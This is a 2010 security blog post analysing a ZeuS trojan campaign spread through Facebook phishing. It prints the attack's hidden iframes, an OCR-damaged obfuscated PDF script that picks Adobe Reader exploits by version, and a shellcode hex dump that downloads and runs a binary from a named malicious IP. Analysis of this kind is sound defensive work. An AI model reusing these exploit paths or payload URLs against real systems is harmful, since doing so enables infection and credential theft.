ZeuS spreading via Facebook

eternal-todo.com/blog/zeus-spreading-facebook

ZeuS is still the talk of the town. It's downloaded through fake antivirus, downloaders and several exploit kits. Of course, the best-known social networking site couldn't be out of this. Last week we could see some Facebook messages like the following:



The link in the message would take the users to a Facebook phishing page where they were requested to authenticate. Simultaneously, obfuscated Javascript code was being executed, creating a hidden iframe in the page body:

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This iframe redirected the user to another web page with two more iframes:

<iframe g1g="321" src="xd/pdf.pdf" l="56" height="31" width="13"> <iframe g1g="321" src="xd/sNode.php" l="56" height="31" width="13">

After advancing further, we arrived to a directory listing in the same server:

Archivo Editar Ver Histor			
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	http://109.95	115.35/fsp/xd/	
Index of /f	sp/xd		
Name	Last modified	Size Description	

? ff.js	22-Oct-2009 03:34 0
? ie.js	06-Nov-2009 03:25 5.98
? ie2.js	06-Nov-2009 03:27 5.18
nowTrue.swf	22-Oct-2009 09:01 458
? opera.js	27-Oct-2009 07:08
pdf.pdf	15-Jun-2005 11:12 30k
SNode.php	15-Jun-2005 11:12 2.4k
2 swf.swf	15-Jun-2005 11:12 108
🕈 swfobject.js	22-Oct-2009 02:17 6.78

Apache/2.2.3 (CentOS) Server at 109.95.115.35 Port 80

The PDF file intended to be downloaded was a malicious file executing obfuscated Javascript code and containing three vulnerabilities, which were exploited depending on the PDF reader version in use:

```
function s95d36p26m09() {
var x84t92m80x76 = app.viewerVermion.toString();
var x84t92m80x76 = app.viewerVermion.toString();
vat x84t92m80x76 = app.viewerVermion.toString();
vat x84t92m80x76 = app.viewerVermion.toString();
vat p81ea4v7 = new Array(x84t92m80x76 charAt(0), x84t92m80x76 charAt(1), x84t92m80x76 charAt(2));
if ([p81ea4v7[0] == 0] & ac [p81ea4v7[1] == 0] || [p81ea4v7[1] == 1 & ac p81ea4v7[2] < 3)) {
    x84t9mfm(); -> util.printf
    if ([p81ea4v7[0] < 8] || [p81ea4v7[0] == 8 & ac p81ea4v7[1] < 2 & ac p81ea4v7[2] < 2)) {
        finslume(); -> Collab.collectEmmailInfo
    if ([p81ea4v7[0] < 9] || [p81ea4v7[0] == 9 & ac p81ea4v7[1] < 1)) {
        c2t932m(); -> app.doc.Collab.getIcon
    }
}
if assign(); :
```

The three exploits had identical shellcode:

In	esca	aner	i h	rter												
	co					78	8¢	8h	46	Ac	8h	70	10	ad	Rh	[3.d.@0x@p]
58	08															
d1						eb										
	57															
	33		-	_			_				_			_		
	88															
-	46															
8a	03															
	e8															_
_	78															
54	68															Thre5\$.itPTS
7c	ff		-			_			-	-		-			-	
61	6e	2e	64	68	75	72	6c	6d	54	b8	8e	4e	θe	ec	ff	on.dhurlmTN
55	64	93	58	33	cØ	50	50	56	8b	55	04	83	c2	7f	83	
c2	4c	52	58	b8	36	1a	2f	70	ff	55	04	5b	57	56	b8	.LRP.6./p.U.[WV.]
98	fe	8a	θe	ff	55	04	бa	00	ff	d7	68	74	74	78	3a	U.jhttp:/
2f	2f	31	30	39	2e	39	35	2e	31	31	34	2e	32	35	33	//109.95.114.253
2f	66	62	6b	65	73	70	2f	6C	6f	61	64	2e	70	68	70	/fbkesp/load.php
UR	Lsi					:	5.1	14.2	253,	/fbl	kes	o/le	bad.	.ph	0	

As it can see seen, the shellcode allowed downloading and launching a <u>binary</u> from the URL of the last image. This binary was a ZeuS sample, version 1.3.2.4, which was installed in the system as sdra64.exe.

On the other hand, the sNode.php file would try to exploit a flash vulnerability through the execution of the <u>nowTrue.swf</u> file after loading in memory a shellcode very similar to the last one, but in this case the binary was downloaded from the following URL:

hxxp://109.95.115.35/fsp/load.php?id=5


This <u>binary</u> had a different MD5, but its behavior was identical, being a 1.3.2.4. version ZeuS too.

Additionally, when the data requested is filled in the Facebook phishing page they are sent to another URL. At the moment of the analysis this URL contained an incorrect domain, not redirecting correctly:



However, after changing this malformed domain by the IP server, it became possible to get to the desired web page, where a pop-up would inform about the need to upload the Adobe Flash Player version and provide a new binary called <u>update.exe</u> to do it. There was another link in the same page to download another binary, photo.exe, with the same MD5 as update.exe. Both of them have a different MD5 than the rest of commented binaries, but they still have the same behavior: 1.3.2.4 version ZeuS.





If unfortunately any of you have visited any of the mentioned links you can check if you are infected following the <u>tips published</u> some months ago.

Submitted by jesparza on Tue, 2010/02/02 - 12:45

<u>Español</u>